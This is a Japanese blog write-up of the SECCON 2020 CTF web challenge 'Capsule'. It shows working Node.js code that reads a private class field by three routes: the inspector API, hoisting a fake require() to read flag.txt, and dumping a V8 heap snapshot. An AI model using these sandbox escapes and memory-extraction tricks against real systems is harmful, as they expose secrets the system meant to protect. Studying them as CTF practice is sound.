はまやんはまやんはまやん

hamayanhamayan's blog

Capsule [SECCON 2020 Online CTF]

Capsule
Genre: Web+Misc
https://capsule.chal.seccon.jp/
capsule.tar.gz

調査

ソースコードのdiffを取ってみると、実行環境側でTypeScriptが廃止されている。
jsコードでもprivate使えるのね…
こっちも何とか取ってこれないか?

class Flag {
  #flag;
  constructor(flag) {
    this.#flag = flag;
  }
}

一応console.log(flag.#flag);を試しておく。
SyntaxError: Private field '#flag' must be declared in an enclosing class
調べてくと、こういう記載もあるけれど…
tc39/proposal-class-fields: Orthogonally-informed combination of public and private fields proposals
console.log(flag['#flag']);もダメ

んー、分からん!

Writeups

作者の解説をもとに復習した。

V8のInspector API経由で盗み見る

Node.jsのInspectorAPIを使えば、privateでも引っ張ってこれる。
InspectorはNode.jsのbuild-inライブラリらしい。
Inspector | Node.js v14.13.1 Documentation
こことかを見ると、デバッグ用でヒープとかも見れるので、確かにprivateプロパティも見れちゃいそうな気もする。

SECCON 2020 Online CTF - Capsule & Beginner’s Capsule - Author’s Writeup - HackMD
本家

global.flag = flag;
const inspector = require('inspector');
const session = new inspector.Session(); # inspectorはセッションを作る必要がある
session.connect();
session.post('Runtime.evaluate', {expression: 'flag'}, (e, d) => {
  session.post('Runtime.getProperties', {objectId: d.result.objectId}, (e, d) => {
    console.log(d.privateProperties[0].value.value);
  });
});

Runtime.evaluate?
https://chromedevtools.github.io/devtools-protocol/v8/Runtime/#method-evaluate
ほうほう。node.jsというより背後のV8エンジンに対してという雰囲気っぽい。
このドキュメントはChromeDevToolsProtocolではあるが、それ経由でV8エンジンを呼ぶときのドキュメントだと思う。
V8エンジンはよくわからんけど、共通基盤ってイメージだったら、V8のリファレンスもそりゃあるか。

このコードの意味は上記のドキュメントと突き合わせば何となく分かるけど、ゼロから作るのはきついな…
Discussion: private fields and util.inspect · Issue #27404 · nodejs/node
紹介されているここを参考にすればいけるか。
グローバル空間は共有するようでglobal.flag = flag;と一旦グローバルに置いてから、'flag'をevalする必要がある。
ふむふむ。

Hoistingを利用する

他の人の解法でも見かけたやり方。

const fs = require('fs');
...
function require() {
  const fs = process.mainModule.require('fs');
  console.log(fs.readFileSync('flag.txt').toString());
}

こんな風にやると、js特有のHoistingでrequire('fs')実行時に指定の関数が呼ばれて、exploitできる。
話は聞いていたけど、定義済みの関数でも書き換えが起こるの?
そんなのhackし放題では?

function f() { console.log('pre'); }
f();
function f() { console.log('post'); }

を実行してみると

$ node sample.js
post

マジ?確かに先頭で取得できれば、まだ制限もないし、消されてもないから参照できるわけね…

メモリをぶっこ抜く

V8 | Node.js v14.13.1 Documentation
V8ライブラリというのもあり、中身を見てみるとヒープが参照できることが分かる。

const v8 = require('v8');
const memory = v8.getHeapSnapshot().read();
console.log(memory.toString());

これだけで全部出る。
だが、これをやると5sでタイムアウトするので、紹介されている解法ではsliceを上手く使って、フラグ部分だけを抜き出して見せている。

実際にどんな中身なのか見てみたいので先頭1000文字くらいを出してみる。

{"snapshot":{"meta":{"node_fields":["type","name","id","self_size","edge_count","trace_node_id"],"node_types":[["hidden","array","string","object","code","closure","regexp","number","native","synthetic","concatenated string","sliced string","symbol","bigint"],"string","number","number","number","number","number"],"edge_fields":["type","name_or_index","to_node"],"edge_types":[["context","element","property","internal","hidden","shortcut","weak"],"string_or_number","node"],"trace_function_info_fields":["function_id","name","script_name","script_id","line","column"],"trace_node_fields":["id","function_info_index","count","size","children"],"sample_fields":["timestamp_us","last_assigned_id"],"location_fields":["object_index","script_id","line","column"]},"node_count":29431,"edge_count":122322,"trace_function_count":0},
"nodes":[9,1,1,0,12,0
,9,2,3,0,23,0
,9,3,5,0,1,0
,9,4,7,0,78,0
,9,5,9,0,555,0
,9,6,11,0,75,0
,9,7,13,0,0,0
,9,8,15,0,0,0
,9,9,17,0,151,0
,9,10,19,0,5,0
,9,11,21,0,0,0
,9,12,

あれ?なんか想像と違う。
まあ、細かいことはいいか。